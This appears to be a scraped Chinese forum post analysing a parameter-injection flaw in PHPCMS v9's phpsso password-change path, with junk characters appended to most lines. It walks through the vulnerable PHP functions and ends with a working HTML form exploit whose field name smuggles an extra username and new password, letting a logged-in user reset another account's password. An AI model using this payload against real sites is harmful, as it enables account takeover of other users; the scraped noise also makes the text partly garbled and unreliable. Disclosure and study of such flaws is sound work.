提到的通行证的代码:
/ b, Y0 X7 n) \5 f( ~: S2 S; y3 O" F2 U1 U Z& D5 J8 S
: l) |# |$ ~1 @' iparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
' ~! L* J* O' a' R4 v/ X! D& y% W& k' m
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。" P( e/ c) @. _- g1 ~! A4 W- s
# t( L" w2 |5 I) Y% o) S: i
我把它留给了你们。, A# [6 b& Y ^+ H* K, M
不知道你们发现了它没有。, ?+ c! c( O+ H/ d5 K {& j
7 p2 e8 J. k0 m% |2 D4 Y" L; y o我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。/ \9 T# d" h! Q. R5 t
. F n1 t2 B% v4 `9 M, K% s% }0 A& Z所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
* C$ V$ [* D0 R& D% |- }" o' F8 B( A7 t1 D5 C
也就是
; c; g0 K9 ?3 n7 C' D1 ?
6 O, G, v2 t/ |8 a/ j' Kusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
: i' S4 _( _. C( E. _. r2 \ Y
$ n% i5 F; s1 A3 z$ c要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
7 v8 v/ t0 ?2 j! p& [9 j- M) p" E: N9 i: _( S1 u
) P" N* S* \4 q! w0 `; l( Q其实我们有这样的机会,看看代码,如下:
4 c) ^' r% t( ~) _6 T6 G( \. {: K& t- {( C
% S: K' ]: }4 x; h2 f! i% a Hpublic function auth_data($data) {
. m; L- E0 F* d* }/ C$ j) g $s = $sep = '';2 M) h+ l0 Y9 }/ c. b2 y
foreach($data as $k => $v) {" F+ [1 Y2 p% H' C# U% ?& J- N
if(is_array($v)) {
v: C( w9 T& V5 L $s2 = $sep2 = '';
) C5 r9 J4 O2 F Q0 s) r$ r8 y foreach($v as $k2 => $v2) {+ I4 C0 q- ?" P, e5 n+ B& d5 E
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
5 T5 u( l$ n9 ]1 y6 {2 w$ T( n $sep2 = '&';
3 _! r5 Z. d/ Z; F1 C" M3 t$ V }' x& C: M& T0 P/ t% p* M+ M
$s .= $sep.$s2;
* X/ U+ {1 I# N' _2 w1 e } else {5 }0 G- L$ J2 e
$s .= "$sep$k=".$this->_ps_stripslashes($v);2 |8 H; P# X- v3 I
}1 E& y2 l- z3 [$ Z( E; r, Q2 p# P8 Q
$sep = '&';; ^+ u8 `; W" n2 q4 L# m
}# K; Q% m; ^9 A7 r4 ~
0 X7 Z! d9 ]- k; X* l" e $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
9 o5 c* w4 O# p return $auth_s;* x/ v5 `! s, O3 E, ?: S
}5 I7 y6 D0 n1 z1 [
& O' E3 `! @6 a
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
; v6 h$ A5 m4 \; J7 Z* T4 e, e0 x% h, |$ _9 k
举个例子" \7 G A3 v# d0 a X8 e# X8 Q
6 g+ R* e% W' }1 i/ a& v
$a[aaa=a&bbb] = 'a';* b4 w$ H4 v0 m s% K1 p& j8 K* x
2 F6 q/ ]) B2 M! r
会变成aaa=a&bbb=a
7 H7 K* C* s5 g" {" a9 c. f3 [, [1 J* R& k
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。 q l8 x* A9 f5 Z6 ^
8 e; d2 n$ }0 i% r3 A- m这个时候,我们可以再去看一个函数。
) G5 i" H. V4 j- b- S" d. B. x% k0 ~- n! t9 O: b, o
就在这个文件内:
" y$ M! K2 H$ }$ p% ?+ g+ W' x1 z8 w3 B. I# c. q" N# _
4 H: R# _$ |. B+ w% upublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
3 p) |- j$ `7 {2 B% G if($email && !$this->_is_email($email)) {
3 F: ~/ a* w9 N+ z" F return -4;
6 n8 s, R0 N1 W: ]) T* G }
" V& y5 D$ h+ E5 i return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
) ?( I2 J0 q: q4 O) F, e E/ F }
% s3 j2 T7 A# K5 R- s6 B: n. ?# n3 L# C8 G3 n' l
这是向通行证发了这样一个请求。
4 a+ f0 h% o$ p) l
8 A0 t- u4 j; N我们再跟到通信证代码里去看看,就会有所发现。2 f5 c- v5 p& @8 d9 ^+ r$ T4 C- p
4 F5 s8 m" w7 q& q5 `5 ]" m! |* v& @8 u4 ]( z/ d' f7 ]
public function edit() {3 _# l. |% ^3 e2 }- _+ t
//能省就省,太长了不是吗?6 J, `: y' Y! m) H/ }& J
/ @ s) c' Z1 g/ o: Iif($this->username) {) {7 r$ b, C% P9 b) v2 f+ n+ b
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。; n( Z/ K9 j9 C: x
$res = $this->db->update($data, array('username'=>$this->username));
5 ?+ e9 J+ O' T: O# S& I# J Y I } else {
: R1 z+ F+ z4 J/ d Q file_put_contents('typeb.txt',print_r($data,1).$this->uid);
( w8 v& \- f! w! o0 L $res = $this->db->update($data, array('uid'=>$this->uid));* U9 L1 f8 A9 k, c2 v( v- G- l" H
}
. I5 R6 k! c `
1 }( S. a# E- ^% R8 C/ y好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
% z" Y+ [- V- d% e' [5 p* O* h6 K9 E& C9 w. n# R' L3 n, r
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')0 a' y, [7 ?$ m# @3 q, d( k
3 O& y+ z i+ W$ Q) P0 l3 i很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。: n/ M# }% J2 E4 P4 r
: O0 Z/ `- O. o4 C8 s
我当然找到了:( v! U; H$ ?+ S) D% N' f# W! }
phpcms9/phpcms/modules/member/index.php1 A+ b2 |2 B5 u( U8 B6 T
$ d6 ~& C' {4 Z- p; |1 B8 ? S
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);' G1 K, C! i# \ s& V) f6 N7 Q
# q; D: e4 R# _' z$ d' `& O然后就没有然后了。
4 l; i4 t/ i' D
& k. ~, f. q# r, j* v( S# K6 y<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">, T2 Q+ |; l" S, Y z" w; H
<table width="100%" cellspacing="0" class="table_form">
$ x1 Q; i$ e7 F6 G2 d <tr>$ O+ L* j8 b: v: j6 l2 K% P$ O" S2 T
<th width="80">邮箱:</th>
! p8 S2 T6 ^# B3 [( j0 h% Y <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>- K. C/ d- g) e1 `2 s; Z! @; P5 j
</tr>8 x! v# s+ j5 K" l! E' i! L
<tr>6 w: d3 Y! r; e+ {% `
<th width="80">原密码:</th> * C, C0 {8 K0 W5 `
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
# Y; w, f7 W( r; Y0 Y </tr>( L, F+ N! J* E( R8 z
<tr>! x( {4 j) | S5 G3 E
<th>新密码:</th>
0 N, W: k: r0 w% ~ <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
7 ]* ]& H/ n3 m$ |, ]9 e ` </tr>6 p' V f4 \0 {& G' I N, T, M; W
<th></th> h( @% M; F4 R# f# D
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>( B5 L& G1 J3 `8 y
</tr>
. `' g2 O* [% o1 b, Y- Y# [ </table>* B: K9 p3 s; s, `1 G) y
" Y$ d" T E* c. F# T
$ ?3 W: A! l8 @, b6 V/ u6 d </form>
( {& W' o0 w, E1 V" C |